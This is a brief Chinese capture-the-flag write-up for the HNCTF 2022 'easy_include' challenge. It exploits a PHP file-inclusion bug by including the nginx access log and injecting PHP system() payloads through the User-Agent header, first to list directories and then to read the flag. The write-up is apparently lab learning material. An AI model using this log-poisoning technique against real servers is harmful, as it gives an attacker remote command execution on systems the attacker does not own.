NSS [HNCTF 2022 WEEK2]easy_include

过滤好多，试试日志包含。

服务器是nginx

?file=/var/log/nginx/access.log

修改UA头为<?php system(‘ls’); ?>

修改UA头为<?php system(‘ls /’); ?>

修改UA头为<?php system('tac /ffflllaaaggg'); ?>